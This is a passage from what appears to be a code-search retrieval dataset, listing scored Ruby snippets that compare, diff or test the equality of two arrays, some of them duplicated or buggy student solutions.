"text": "def array_diff_with_context(arr1, arr2)\n (shorter, longer) = arr1.length > arr2.length ? [arr2, arr1] : [arr1, arr2]\n\n shorter.each_with_index do |item, index|\n if item != longer[index]\n return shorter[index..index + 100].join, longer[index..index + 100].join\n end\n end\n\n [nil, nil]\n end",
"title": ""
},
{
"docid": "6959278556b081dd4d641673308f0353",
"score": "0.7134364",
"text": "def check_same_element(first_array, second_array)\n return (first_array[0] == second_array[0] || first_array[first_array.length - 1] == second_array[second_array.length - 1])\nend",
"title": ""
},
{
"docid": "d5939760c5d80c89cae3bff77079ba41",
"score": "0.7084755",
"text": "def same_bsts(array_one, array_two)\n return are_same_bsts(array_one, array_two, 0, 0, -Float::INFINITY, Float::INFINITY)\nend",
"title": ""
},
{
"docid": "e88dbdaecafece2cd98b7e91469e2d6c",
"score": "0.7005014",
"text": "def array(nums, nums1)\n return (nums[0] == nums1[0] or nums[nums.length-1] == nums1[nums1.length-1])\nend",
"title": ""
},
{
"docid": "c5bafdc724f1a32f0d0b90f278aa7eea",
"score": "0.6999492",
"text": "def same_bsts(array_one, array_two)\n if array_one.length != array_two.length\n return false\n end\n\n if array_one.length == 0 && array_two.length == 0\n return true\n end\n\n if array_one[0] != array_two[0]\n return false\n end\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two) && same_bsts(right_one, right_two)\nend",
"title": ""
},
{
"docid": "e1a2801c28a7ed083bb97650f1acedde",
"score": "0.69665676",
"text": "def check_for_diff_teams(array1, array2)\n array1.each do |x|\n array2.each do |y|\n return false if x == y || x == y.reverse\n end\n end\n true\n end",
"title": ""
},
{
"docid": "c25296c002141ac2b63f08d235bcc556",
"score": "0.68867236",
"text": "def assert_same_elements(an_array, another_array)\n assert_equal an_array - another_array, another_array - an_array\n end",
"title": ""
},
{
"docid": "ee466049f75ad04097d26f87c30a51bc",
"score": "0.68789387",
"text": "def array_equals(array1, array2)\n identical_arrays = true\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n identical_arrays = true\n else\n identical_arrays = false\n end\n elsif array1.length != array2.length\n identical_arrays = false\n else\n array1.each_with_index do |element, index|\n if array1[index] - array2[index] != 0\n identical_arrays = false\n end\n end\n end\n return identical_arrays\nend",
"title": ""
},
{
"docid": "b6ab664af6438183f049db2bec4418ac",
"score": "0.68298584",
"text": "def array_diff(a, b)\n a.delete_if { |arr| arr == b[0] }\n b[1] ? a.delete_if { |arr| arr == b[1] } : a\nend",
"title": ""
},
{
"docid": "2e386040b798800e2a12e711d9e14f7b",
"score": "0.6826066",
"text": "def solution_one(array_one, array_two)\n combined = (array_one << array_two).flatten\n combined = combined.sort\n result = 0\n\n if combined[-1] != combined[-2]\n result = combined[-1]\n elsif combined[0] != combined[1]\n result = combined[0]\n else\n combined.each_with_index do |element, index|\n if ((combined[index] != combined[index - 1]) || (combined[index] != combined[index + 1]))\n result = element\n end\n end\n end\n result\nend",
"title": ""
},
{
"docid": "f5407e155f5a8d90f5a09469369ffb91",
"score": "0.6820511",
"text": "def array_diff(a, b)\n a.inject([]) {|res, x| !b.include?(x) ? res.push(x) : res }\nend",
"title": ""
},
{
"docid": "f558a724c9d197c4908ee521b1761456",
"score": "0.6816168",
"text": "def array_equals(array1, array2)\n array1_length = array1 ? array1.length : -1\n if array1_length == (array2 ? array2.length : -1)\n return true if array1_length <= 0\n array1_length.times do |i|\n return false if array1[i] != array2[i]\n end\n else\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "523cd11fe2a3b9f2d3935797292f3612",
"score": "0.67958033",
"text": "def array_diff(a, b)\n a.select { |e| !b.include? e}\nend",
"title": ""
},
{
"docid": "13a5c6e46438a1859ff7a474c572c5ef",
"score": "0.678126",
"text": "def array_equals(array1, array2)\n if !array1 && !array2\n return true\n elsif array1 && array2 && array1.length == array2.length\n array1.each_with_index { |element, index| \n if element != array2[index]\n return false\n end \n }\n return true\n end\n return false \nend",
"title": ""
},
{
"docid": "340d282ffb0d77e7c0205f5844b73d14",
"score": "0.6780881",
"text": "def array_diff(a, b)\n a.reject { |num| b.include?(num) }\nend",
"title": ""
},
{
"docid": "a5b6a92b7b71115f020107488923c888",
"score": "0.675991",
"text": "def array_equals(array_one, array_two)\n if array_one.length == array_two.length\n array_one.each_with_index do |num, i|\n until num == array_two[i]\n return false\n end\n end\n end\nend",
"title": ""
},
{
"docid": "c07a42216e93f77c95ea5bb5efb296b3",
"score": "0.67503226",
"text": "def find_difference(ary1, ary2)\n sorted1 = ary1.sort\n sorted2 = ary2.sort\n\n sorted1.each_with_index do |el, idx|\n return el if el != sorted2[idx]\n end\nend",
"title": ""
},
{
"docid": "1785d295de313ba68121e0f388e4198e",
"score": "0.6741403",
"text": "def difference_between_arrays(array_1, array_2)\n difference = array_1.dup\n array_2.each do |element|\n if index = difference.index(element)\n difference.delete_at(index)\n end\n end\n difference\n end",
"title": ""
},
{
"docid": "aac57b4b05b40a35c1a3437422708e00",
"score": "0.67257947",
"text": "def array_equals(array_one, array_two)\n if array_one.length == array_two.length\n i = 0\n\n # solution 1 --> It exits the loop when the item evaluates to false\n # if first item is false it doesn't loop through the whole array.\n\n switch = 0\n while switch == 0 && i < array_one.length\n array_one[i] != array_two[i] ? switch = 1 : i += 1\n end\n return switch == 0 ? true : false\n\n # # solution 2 --> It loops through the whole array and then compares the number\n # of assertions to the length.\n\n # assertion = 0\n # (array_one.length).times do\n # assertion += 1 if array_one[i] == array_two[i]\n # i += 1\n # end\n # return assertion == array_one.length ? true : false\n\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "bab019275594a04454fe6149a52e4770",
"score": "0.6722624",
"text": "def comp(array1, array2)\n return false if array1 == nil || array2 == nil\n \n a1 = array1.dup.sort\n a2 = array2.dup.sort\n \n 0.upto(a1.length-1) do |index|\n return false if a1[index]**2 != a2[index]\n end\n true\nend",
"title": ""
},
{
"docid": "0a3ffe92d3720ac9979e32125c3f49e7",
"score": "0.6697376",
"text": "def array_diff(a, b)\n\t# puts a.length\n a.length.times {|i| a.delete(a[i]) if b.include?(a[i])}\n \n return a\nend",
"title": ""
},
{
"docid": "46fa0fac8bd6a25fc3d1afb58b5814dc",
"score": "0.669263",
"text": "def test_difference_new_array\n assert_nothing_raised{ @array1 - @array2 }\n assert_equal([1, 2, 2, 3, 3, 3], @array1)\n assert_equal([2, 3], @array2)\n end",
"title": ""
},
{
"docid": "64672f323880fe681527958022a47054",
"score": "0.66906947",
"text": "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "64672f323880fe681527958022a47054",
"score": "0.66906947",
"text": "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "d252adaf1df714e1cd159ddf6f9021a1",
"score": "0.66882235",
"text": "def finder(first_array, second_array)\n return \"No missing numbers\" if first_array.size == second_array.size\n\n xOr = 0\n\n first_array.each { |num| xOr ^= num }\n\n second_array.each { |num| xOr ^= num }\n\n xOr\nend",
"title": ""
},
{
"docid": "7a2a9eb1319b7b9b2040501b257dc6c4",
"score": "0.66850257",
"text": "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n true\nend",
"title": ""
},
{
"docid": "7a2a9eb1319b7b9b2040501b257dc6c4",
"score": "0.66850257",
"text": "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n true\nend",
"title": ""
},
{
"docid": "66afb61e8bc340889ba00790971a3d77",
"score": "0.66655886",
"text": "def array_diff(a, b)\n b.each do |b_num|\n a = a.reject { |a_num| a_num == b_num }\n end\n return a \nend",
"title": ""
},
{
"docid": "96a054c041a0aea7f9b1030e755c4f53",
"score": "0.6659447",
"text": "def compare_arrays(one, two)\n (one&two).empty?\n end",
"title": ""
},
{
"docid": "d70295d8ea961c65e94bbd1754a67b01",
"score": "0.66450334",
"text": "def array_diff(a, b)\n# It should remove all values from list a, which are present in list b.\n a - b\n# If a value is present in b\n# all of its occurrences must be removed from the other:\nend",
"title": ""
},
{
"docid": "b6a4f4e82770d5217e2471add0a69617",
"score": "0.6634812",
"text": "def array_diff(a, b)\r\n\r\nend",
"title": ""
},
{
"docid": "6606f818a7d76e1164965a36c205261e",
"score": "0.6634676",
"text": "def overlap?(a, b)\n # Sort both arrays, by start time\n a.sort!\n b.sort!\n\n # Iterate\n while !a.empty? && !b.empty? do\n return true if range_overlap?(a[0], b[0])\n\n # remove the earlier element\n a[0][0] < b[0][0] ? a.shift : b.shift\n end\n\n # No clash\n return false\nend",
"title": ""
},
{
"docid": "67409c7da05d8a35840c01dc04903384",
"score": "0.66311264",
"text": "def finder(arr1, arr2)\n # Sort the arrays\n arr1.sort!\n arr2.sort!\n # zip both arrays and compare\n arr1.zip(arr2) do |a, b|\n return a if b == nil\n end\nend",
"title": ""
},
{
"docid": "30ecda3ca8ad3eb866e2dd0ca0edb27e",
"score": "0.6630279",
"text": "def array_equals(array1, array2)\n if array1.nil? || array2.nil?\n return array1.nil? && array2.nil?\n elsif array1.length == array2.length\n index = 0\n until index == array1.length\n return false if array1[index] != array2[index]\n index += 1\n end\n else\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "bd0df7bfdfbad26cb797674aa6bc7dbf",
"score": "0.662618",
"text": "def array_equals(array1, array2)\n array1 ||= []\n array2 ||= []\n count1 = array1.count\n \n return false if count1 != array2.count\n \n (0..count1.pred).each { |i| return false if array1[i] != array2[i] }\n return true\nend",
"title": ""
},
{
"docid": "078c2d9e3bc5d7066f58e110fcc582fe",
"score": "0.6617318",
"text": "def array_equals(array1, array2)\n if (array1 == nil && array2 == nil) || (array1 == [] && array2 == [])\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n if array1.length == array2.length\n (array1.length - 1).times do |i|\n if array1[i] != array2[i]\n return false\n else\n return true\n end\n end\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "0515e1d722e9638105c18581e9131a7f",
"score": "0.660982",
"text": "def compare_values_of_arrays(array_1, array_2)\n equal = false\n if (array_1)\n array_1_sorted = array_1.sort\n array_2_sorted = array_2.sort\n if array_1.count == array_2.count\n puts \"Arrays have both #{array_1.count} elements\"\n array_1_sorted.map!(&:upcase)\n array_2_sorted.map!(&:upcase)\n equal = true\n else\n puts \"The two arrays have different number of elements\"\n # if array_1_sorted == array_2_sorted\n # puts \"Arrays have equal content\"\n # else\n # difference = array_1_sorted - array_2_sorted\n # puts \"difference: #{difference}\"\n # end\n puts \"array_1: #{array_1_sorted}\"\n puts \"array_2: #{array_2_sorted}\"\n puts \"These are the same: #{array_1_sorted&array_2_sorted}\"\n end\n else\n puts \"array_1:#{array_1}\"\n puts \"array_2:#{array_2}\"\n puts \"array to compare is nil\"\n end\n return equal\n end",
"title": ""
},
{
"docid": "abdba83c1ee72f7e1e8cc8901667cf45",
"score": "0.66012204",
"text": "def check_array(a, b)\n sum = (a[0]+a[1]+a[2])-(b[0]+b[1]+b[2])\n\tif(sum >= 0)\n\t\treturn a\n\tend\n\treturn b\nend",
"title": ""
},
{
"docid": "68cbb324b1d3e23d0b4ba9607374bd1e",
"score": "0.6575371",
"text": "def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n elsif array1.length == array2.length\n if array1.length == 0\n return true\n else\n match = nil\n array1.length.times do |i|\n array1[i] != array2[i] ? match = false : match = true\n if match == false\n return match\n end\n end\n return match\n end\n end\nend",
"title": ""
},
{
"docid": "b04760d1a48f0e8001dec219a6fe537e",
"score": "0.6569087",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2.length > 0\n return false\n elsif array1.length > 0 && array2 == nil\n return false\n elsif array1.length != array2.length\n return false\n elsif array1[0] == array2[0] &&\n array1[1] == array2[1] &&\n array1[2] == array2[2] &&\n array1[3] == array2[3] &&\n array1[4] == array2[4] &&\n array1[5] == array2[5]\n return true\n elsif array1[0] != array2[0] ||\n array1[1] != array2[1] ||\n array1[2] != array2[2] ||\n array1[3] != array2[3] ||\n array1[4] != array2[4] ||\n array1[5] != array2[5]\n return false\n elsif array1.length == 0 && array2.length == 0\n return true\n elsif array1.length == 0 && array2.length > 0\n return false\n elsif array1.length > 0 && array2.length == 0\n return false\n\n end\nend",
"title": ""
},
{
"docid": "be0d12e42700460e00c5a650874d64ba",
"score": "0.6561946",
"text": "def array_diff(a, b)\n output = []\n a.each do |n|\n if !b.include?(n)\n output.push(n)\n end\n end\n return output\n end",
"title": ""
},
{
"docid": "47365cc3c7aa80684df0397a1274eddc",
"score": "0.656115",
"text": "def array_equals(array1, array2)\n if !array1 && !array2\n return true\n elsif !array1 || !array2\n return false\n elsif array1.length == array2.length\n i = 0\n while i < array1.length\n return false if array1[i] != array2[i]\n i += 1\n end\n else\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "c878811c57a104bc2794bd7f46d8c3ee",
"score": "0.6555644",
"text": "def array_equals(array1, array2)\n\n if array1 != nil && array2 != nil\n if array1.length == array2.length\n if array1.length != 0 && array1 != nil\n array1.length.times do |index|\n return false if array1[index] != array2[index]\n end\n end\n return true\n else\n return false\n end\n end\n # to handle error when one tries to do nil.length\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "8a51ff47bd75a0a5c6b36210e07b98c8",
"score": "0.6550294",
"text": "def array_diff(a, b)\n a.select do |number|\n unless b.include?(number)\n number\n end\n end\nend",
"title": ""
},
{
"docid": "546d09321e749961a33493cc041ca419",
"score": "0.65476465",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 != nil\n return false\n end\n if array2 == nil && array1 != nil\n return false\n end\n if array2 == nil && array1 == nil\n return true\n end\n\n if array1.length == array2.length\n array1.each_with_index do |value, i|\n if value != array2[i]\n return false\n end\n end\n return true\n end\n return false\nend",
"title": ""
},
{
"docid": "efb2e76968a61cf3f0ff2f1bd1d82681",
"score": "0.6545266",
"text": "def find_missing(array1, array2)\n raise 'Wrong args' unless array1.length == array2.length + 1 && array1.length > 0\n\n store = {}\n\n array2.each do |element|\n if store[element]\n store[element] = store[element] + 1\n else\n store[element] = 1\n end\n end\n\n array1.each do |element|\n return element if store[element] == 0\n return element if store[element].nil?\n store[element] -= 1\n end\n end",
"title": ""
},
{
"docid": "87929036e83716be43263ff58cf924c0",
"score": "0.6526216",
"text": "def array_intersections(first = [], second = [])\n return false unless first.length == second.length\n\n first.each do |item|\n return false unless second.include?(item)\n second.delete_at(second.index(item))\n end\n\n second.length == 0\nend",
"title": ""
},
{
"docid": "121f3d56a087a7276b32ff7903e67996",
"score": "0.65239245",
"text": "def one_off(a, b)\n\tindex_position = 0\n\tcount = 0\n\n\tb.each do |winning_ticket|\n\tcount = 0\n\tindex_position = 0\n\ta.length.times do \n\t\tif a[index_position] == winning_ticket[index_position]\n\t\tcount += 1\n\t\tend\n\t\tindex_position += 1\n\tend\nend\n\tcount == a.length - 1\nend",
"title": ""
},
{
"docid": "8e2c91f495d5a777e39a77263a59a9f3",
"score": "0.6523632",
"text": "def array_diff(a, b)\n a.delete_if{|i| b.include? i}\nend",
"title": ""
},
{
"docid": "da4b5b73403f7334ea6327fe4afd0059",
"score": "0.6522559",
"text": "def array_equals(array1, array2)\n result = true\n i = 0\n\n unless array1.nil? && array2.nil?\n if array1.nil? && !array2.nil?\n result = false\n elsif !array1.nil? && array2.nil?\n result = false\n elsif array1.length == array2.length\n (array1.length).times do |i|\n if array1[i] != array2[i]\n result = false\n end\n i = i + 1\n end\n else\n result = false\n end\n end\n return result\nend",
"title": ""
},
{
"docid": "354a5fd84c98b33f4ce47198f50e2bbb",
"score": "0.65128326",
"text": "def array_equals(array1, array2)\n\n new_array = []\n\n if array1 == nil && array2 == nil\n return true\n elsif (array1 == nil && array2 != nil) || (array2 == nil && array1 != nil)\n return false\n elsif array1.length == 0 && array2.length == 0\n return true\n elsif array1.length == array2.length\n array1.length.times do |index|\n if array1[index] == array2[index]\n new_array << array1[index]\n end\n end\n else\n return false\n end\n\n if new_array.length == array1.length\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "98a518acba74730d9cc3b45ac551cb82",
"score": "0.6512397",
"text": "def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n return array1 == array2\n end\n if array1.length == 0 || array2.length == 0\n return array1 == array2\n end\n counter = 0\n if array1.length == array2.length \n array1.length.times do \n if array1[counter] == array2[counter]\n counter += 1\n end\n end\n end\n return array1.length == counter\n\nend",
"title": ""
},
{
"docid": "32f460437bbc40308a429f5d41a9cdef",
"score": "0.651119",
"text": "def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n return array1 == nil && array2 == nil\n elsif array1.length != array2.length\n return false\n elsif array1.length == 0 || array2.length == 0\n return array1.length == array2.length\n else\n while i < array1.length\n return false if array1[i] != array2[i]\n i += i \n end\n end\n return true\nend",
"title": ""
},
{
"docid": "927a065f1584f001fd52b08dbec8ec5a",
"score": "0.6508359",
"text": "def compare_with(seq2)\n seq1 = self\n length = seq1.size\n diff = 0\n (0..(length-1)).each do |position|\n nt1 = seq1[position]\n nt2 = seq2[position]\n diff += 1 unless nt1 == nt2\n end\n return diff\n end",
"title": ""
},
{
"docid": "598f30ec49fa12bd8daccf103c59bd2f",
"score": "0.65027523",
"text": "def array_equals(array1, array2)\n \n if (array1 == array2)\n return true\n elsif (array1 == nil || array2 == nil) \n return false\n end \n \n if (array1.length != array2.length)\n return false\n end\n \n array1.each_with_index do |number, i|\n if array1[i] != array2[i]\n return false\n end \n return true\n end\nend",
"title": ""
},
{
"docid": "13feaa204d9609183708cc40c32adfc5",
"score": "0.64944947",
"text": "def array_diff(a, b)\n a.delete_if{|e|b.include?(e)}\nend",
"title": ""
},
{
"docid": "524d64e9b3919151057928974e3fe324",
"score": "0.6491024",
"text": "def array_equals(array1, array2)\n return array1 == array2 if array1 == nil || array2 == nil\n \n return array1.length == array2.length if array1.length == 0 || array2.length == 0\n \n return false if array1.length != array2.length\n \n array1.each_with_index do |value, index|\n return false if value != array2[index]\n end\n \n return true\nend",
"title": ""
},
{
"docid": "8ec56e563d363283e63f4349e5f18194",
"score": "0.6483765",
"text": "def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n return array1 == nil && array2 == nil\n elsif array1 == [] || array2 == []\n return array1 == [] && array2 == []\n elsif array1.length == array2.length\n current_index = 0\n while current_index < array1.length\n if array1[current_index] != array2[current_index]\n return false\n end\n current_index += 1\n end\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "0803b21303616666747746ad2b360861",
"score": "0.647746",
"text": "def array_diff(a, b)\n a - b\nend",
"title": ""
},
{
"docid": "0803b21303616666747746ad2b360861",
"score": "0.647746",
"text": "def array_diff(a, b)\n a - b\nend",
"title": ""
},
{
"docid": "0803b21303616666747746ad2b360861",
"score": "0.647746",
"text": "def array_diff(a, b)\n a - b\nend",
"title": ""
},
{
"docid": "b630ad20a2e291cf9431d074ab39c9fb",
"score": "0.647414",
"text": "def update_array_length(arr_one, arr_two)\n if arr_one.length < arr_two.length\n adjusted_arr_one = []\n arr_two.each_with_index do |value, index|\n if arr_one.length == 1\n adjusted_arr_one << arr_one[0]\n elsif index >= arr_one.length\n if index >= arr_one.length * 2\n adjusted_arr_one << arr_one[index % arr_one.length]\n else\n adjusted_arr_one << arr_one[index - arr_one.length]\n end\n else\n adjusted_arr_one << arr_one[index]\n end\n end\n return adjusted_arr_one, arr_two\n elsif arr_one.length > arr_two.length\n adjusted_arr_two = []\n arr_one.each_with_index do |value, index|\n if arr_two.length == 1\n adjusted_arr_two << arr_two[0]\n elsif index >= arr_two.length\n if index >= arr_two.length * 2\n adjusted_arr_two << arr_two[index % arr_two.length]\n else\n adjusted_arr_two << arr_two[index - arr_two.length]\n end\n else\n adjusted_arr_two << arr_two[index]\n end\n end\n return arr_one, adjusted_arr_two\n end\nend",
"title": ""
},
{
"docid": "b189addeadf9af1e217c7e82f8bb4a44",
"score": "0.64732194",
"text": "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n \n elsif array1.nil? || array2.nil?\n return false\n \n elsif array1.length != array2.length\n return false\n \n else\n match_count = 0 \n array2.length.times do |i|\n if array1[i] == array2[i]\n match_count += 1\n else \n return false\n end\n end\n\n if match_count == array1.length\n return true\n end\n end\nend",
"title": ""
},
{
"docid": "4a9685d8520581ab187f777bd25ff514",
"score": "0.6471408",
"text": "def array_equals(array1, array2)\n \n if array1 == nil && array2 == nil\n return true\n end\n \n if array1 != nil && array2 != nil\n if array1.length == array2.length\n i = 0\n array1.length.times do\n if array1[i] != array2[i]\n return false\n else\n i += 1\n end\n end\n return true\n else\n return false\n end\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "91e6e19432ec72130b9ec02231e4831b",
"score": "0.64675367",
"text": "def array_dif(a,b)\r\n a-b end",
"title": ""
},
{
"docid": "340a41efd755a1d828cc019e352d1d9c",
"score": "0.6466915",
"text": "def equal_length?(array1, array2)\n\n index1 = 0\n until array1[index1].nil? do\n index1 += 1\n end\n\n index2 = 0\n until array2[index2].nil? do\n index2 += 1\n end\n\n return index1 == index2\nend",
"title": ""
},
{
"docid": "f35998b99766dd97fc43e2b10b87baa2",
"score": "0.64633644",
"text": "def array_equals(array1, array2)\n return false if array1.length != array2.length\n\n array1.each_with_index do |int, i|\n return false if int != array2[i]\n end\n # return array1 == array2\nend",
"title": ""
},
{
"docid": "aa42632995074bcb94e644f16c6e8af9",
"score": "0.6454119",
"text": "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? || array2.nil?\n return false\n end\n\n return false if array1.length != array2.length\n\n array_index = 0\n\n while array_index < array1.length\n return false if array1[array_index] != array2[array_index]\n array_index += 1\n end\n\n return true\n\nend",
"title": ""
},
{
"docid": "f94af36914c646742cee7f5999e7bc8c",
"score": "0.6453835",
"text": "def array_equals(array1, array2)\n return_value = true\n if array1.class == NilClass && array2.class == NilClass\n return_value = true\n elsif array1.class != Array || array2.class != Array\n return_value = false\n elsif array1.length == array2.length\n element_count = array1.length\n element_count.times do |i|\n if array1[i] != array2[i]\n return_value = false\n end\n end\n else\n return_value = false\n end\n return_value\nend",
"title": ""
},
{
"docid": "2c5a02804452a88e6f3b4ab4e2e3de5b",
"score": "0.6451992",
"text": "def array_equals(array1, array2)\n equal = false\n\n if array1 == nil && array2 == nil\n equal = true\n elsif array1 == nil && array2 != nil || array1 != nil && array2 == nil\n equal = false\n elsif\n array1.length == array2.length\n equal = true\n\n array1.each_with_index do |value, index|\n if array1[index] != array2[index]\n equal = false\n else\n equal = true\n end\n end\n end\n\n return equal\nend",
"title": ""
},
{
"docid": "dd10ba0c2e837b2cbe65bde7fbf5ed4c",
"score": "0.6447902",
"text": "def array_diff(one, two)\n result = []\n one.each do |item|\n result << item unless two.include? item\n end\n result\nend",
"title": ""
},
{
"docid": "bd5982477630b3545ecf00a5804bc132",
"score": "0.64425635",
"text": "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? || array2.nil?\n return false\n end \n \n array1.each_with_index do |num, i|\n unless num == array2[i] \n return false \n end\n end\n \n if array1.length != array2.length \n return false \n else \n return true\n end\nend",
"title": ""
},
{
"docid": "e4d4cddd402bce33d9e43e0a3de03ca9",
"score": "0.6436244",
"text": "def array_equals(array1, array2)\n if array1.length != array2.length\n return false\n elsif array1 = nil && array2 != nil || array2 = nil && array1 != nil\n return false\n elsif array1 = nil && array2 = nil\n return true\n elsif\n array1.each do |i|\n array2.each do |index|\n if i != index\n return false\n end\n end\n end\n else\n return true\n end\n\nend",
"title": ""
},
{
"docid": "36b25db9a83a11178dab2db065d3983e",
"score": "0.6431175",
"text": "def array_equals(array1, array2)\n raise NotImplementedError\n if array1 == [] && array2 == [] || array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil || array1.length != array2.length\n return false\n else\n array1.length.times do |i|\n if array2[i] != array1[i]\n return false\n end\n end\n return true\n end\nend",
"title": ""
},
{
"docid": "6f5bece94ba7defc5c325d8ec6acdaa6",
"score": "0.6428172",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n exit\n elsif array1 == nil && array2 != nil\n return false\n exit\n elsif array1 != nil && array2 == nil\n return false\n exit\n elsif array1.length != array2.length\n return false\n exit\n else\n index = 0\n array1.length.times do\n if array1[index] != array2[index]\n return false\n exit\n else index += 1 end\n end\n return true\n end\nend",
"title": ""
},
{
"docid": "7aa2d4bd4bdf8ea35c426f55989035c0",
"score": "0.6427195",
"text": "def array_equals(array1, array2)\n return true if array1 == nil && array2 == nil\n return false if array1 == nil || array2 == nil\n return false if array1.length != array2.length\n index = 0\n array1.each do |element|\n return false if element != array2[index]\n index += 1\n end\n return true\nend",
"title": ""
},
{
"docid": "0edbf6b04b9ad6a6c39807797350f783",
"score": "0.64212626",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 && array2\n size1 = array1.length\n size2 = array2.length\n # if both arrays are not nil and equal in size, compare their elements\n if size1 == size2 \n size1.times do |index|\n # return false early if any 2 elements at same index found not equal\n if array1[index] != array2[index]\n return false\n end\n end\n return true\n end\n end\n\n return false\nend",
"title": ""
},
{
"docid": "380e79955b9cbdcf2b654882cb3dfd5a",
"score": "0.6416053",
"text": "def match_sequences(a1, a2)\n a1.each_with_index do |a, i|\n return false if a != a2[i]\n end\n true\n end",
"title": ""
},
{
"docid": "380f65661b3404355503657d665add54",
"score": "0.6413195",
"text": "def process_2arrays(arr1, arr2)\n [\n (arr1 & arr2).count,\n (arr1 + arr2).reject{|v| arr1.include?(v) && arr2.include?(v)}.count,\n (arr1 - arr2).count,\n (arr2 - arr1).count\n ]\nend",
"title": ""
},
{
"docid": "612f6fb5006ff7919842ec797e7e11c5",
"score": "0.64128715",
"text": "def process_2arrays(arr1, arr2)\n\tact1 = arr1 & arr2\n\tact3 = arr1 - arr2\n\tact4 = arr2 - arr1\n\tact2 = act3 + act4\n\treturn [(act1.size), (act2.size), (act3.size), (act4.size)]\nend",
"title": ""
},
{
"docid": "2442b2ba896afd7a6486c9ef8e81755b",
"score": "0.64098126",
"text": "def is_one_away_diff_lengths(s1, s2)\n count_diff = 0\n s1.each_with_index do |_ele, index|\n next if s1[index + count_diff] == s2[index]\n count_diff += 1\n return false if count_diff > 1\n end\n true\nend",
"title": ""
},
{
"docid": "f7aa585d3c7d587f491cb668efdbab3d",
"score": "0.6409476",
"text": "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n if array1.nil? ^ array2.nil?\n return false\n end\n if array1.length != array2.length\n return false\n end\n array1.length.times do |i|\n if array1[i] != array2[i]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "0a62f66b87e4f71686706e159bf9ac7e",
"score": "0.64076346",
"text": "def array_equals(array1, array2)\n return true if array1 == nil && array2 == nil\n return false if array1 == nil || array2 == nil\n \n\n if array1.length == array2.length \n array1.each_with_index do |elem, i|\n if elem != array2[i]\n return false\n end\n end \n return true \n else \n return false\n end\nend",
"title": ""
},
{
"docid": "ec8bdb724241f93af771e59979fc6926",
"score": "0.64024925",
"text": "def find_difference(ary1, ary2)\n hash = {}\n ary2.each { |el| hash[el] = true }\n ary1.each { |el| return el if !hash[el] }\nend",
"title": ""
},
{
"docid": "a55633a98ca97efca563e228a5a95bb7",
"score": "0.6393581",
"text": "def array_equals(array1, array2)\n nil_array1 = array1 == nil\n nil_array2 = array2 == nil\n \n if nil_array1 && nil_array2 == true\n return true\n elsif (nil_array1 == false && nil_array2 == true) || (nil_array2 == false && nil_array1 == true)\n return false\n elsif array1 != nil && array2 != nil\n equal_length = array1.length == array2.length\n if equal_length == false\n return false\n elsif equal_length == true\n x = 0\n until x == array1.length\n return false if array1[x] != array2[x]\n x += 1\n end\n return true\n end\n end\nend",
"title": ""
},
{
"docid": "68b789e7576b28167855c79d42dc50ee",
"score": "0.63927305",
"text": "def array_equals(array1, array2)\n # raise NotImplementedError\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? && !array2.nil? || !array1.nil? && array2.nil?\n return false\n elsif array1 == [] && array2 == []\n return true\n elsif array1 == [] && array2 != [] || array1 != [] && array2 == []\n return false\n end\n\n\n idx = 0\n\n if array1.length != array2.length\n return false\n end\n\n while idx <= array1.length\n if array1[idx] != array2[idx]\n return false\n else\n idx += 1\n end\n end\n\n return true\n\nend",
"title": ""
},
{
"docid": "4fb6c33c6475d4eb928ae5fbc4916e15",
"score": "0.63917893",
"text": "def array_diff(a, b)\r\n a - b\r\nend",
"title": ""
},
{
"docid": "6f6351fbf36b26a43bce10e4098f1ae4",
"score": "0.638991",
"text": "def comp(array1, array2)\n if [nil, 0].include?(array1) || [nil, 0].include?(array2)\n return false\n end\n\n array1.each do |item1|\n return false if array1.count(item1) != array2.count(item1**2)\n end\n array2.each do |item2|\n return false if array1.count(Math.sqrt(item2)) != array2.count(item2)\n end\n\n true\nend",
"title": ""
},
{
"docid": "7998fdb66afa5ef1ea7e9932c940e7c3",
"score": "0.6387466",
